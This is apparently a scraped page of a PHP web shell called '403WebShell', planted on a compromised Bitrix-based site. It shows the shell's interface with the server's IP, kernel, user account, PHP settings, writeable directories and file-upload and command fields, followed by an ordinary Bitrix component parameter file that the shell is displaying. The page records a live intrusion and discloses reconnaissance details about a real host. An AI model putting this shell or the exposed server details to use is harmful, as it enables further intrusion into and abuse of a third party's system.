%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 13.58.201.75
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.selector.steps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.selector.steps//.parameters.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/*
	"GROUPS" => array(
		"FILTER_SETTINGS" => array(
			"NAME" => GetMessage("T_IBLOCK_DESC_FILTER_SETTINGS"),
		),
*/

$arComponentParameters = Array(
	"PARAMETERS" => Array(
		"ID" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_ID_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
		),
		"CODE" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_CODE_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
		),
		"INPUT_NAME" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_INPUT_NAME_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"DEFAULT" => "LOCATION",
		),
		"PROVIDE_LINK_BY" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "LIST",
			"VALUES" => array(
				'id' => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER_ID"),
				'code' => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER_CODE")
			),
			"DEFAULT" => "id"
		),

		"PRESELECT_TREE_TRUNK" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PRESELECT_TREE_TRUNK_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "N"
		),

		"PRECACHE_LAST_LEVEL" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PRECACHE_LAST_LEVEL_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "N"
		),

		/*
		"SEARCH_BY_PRIMARY" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_SEARCH_BY_PRIMARY_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N"
		),
		*/

		"FILTER_BY_SITE" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_FILTER_BY_SITE_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "Y"
		),
		"SHOW_DEFAULT_LOCATIONS" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_SHOW_DEFAULT_LOCATIONS_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "Y"
		),

		"JS_CONTROL_GLOBAL_ID" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_JSCONTROL_GLOBAL_ID_PARAMETER"),
			"PARENT" => "ADDITIONAL",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => ""
		),
		"JS_CALLBACK" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_JS_CALLBACK"),
			"PARENT" => "ADDITIONAL",
			"TYPE" => "STRING"
		),

		"CACHE_TIME"  =>  array("DEFAULT" => 36000000)
	)
);

if($arCurrentValues['FILTER_BY_SITE'] == 'Y' || $arCurrentValues['SHOW_DEFAULT_LOCATIONS'] == 'Y')
{
	$res = \Bitrix\Main\SiteTable::getList(array('filter' => array('=ACTIVE' => 'Y')));
	$sites = array();
	while($item = $res->Fetch())
		$sites[$item['LID']] = '['.$item['LID'].'] '.$item['NAME'];

	$arComponentParameters["PARAMETERS"]["FILTER_SITE_ID"] = Array(
		"NAME" => Loc::getMessage("SALE_SLS_FILTER_SITE_ID_PARAMETER"),
		"PARENT" => "DATA_SOURCE",
		"TYPE" => "LIST",
		"VALUES" => array_merge(array(
			'current' => Loc::getMessage("SALE_SLS_FILTER_SITE_ID_CURRENT")
		), $sites)
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit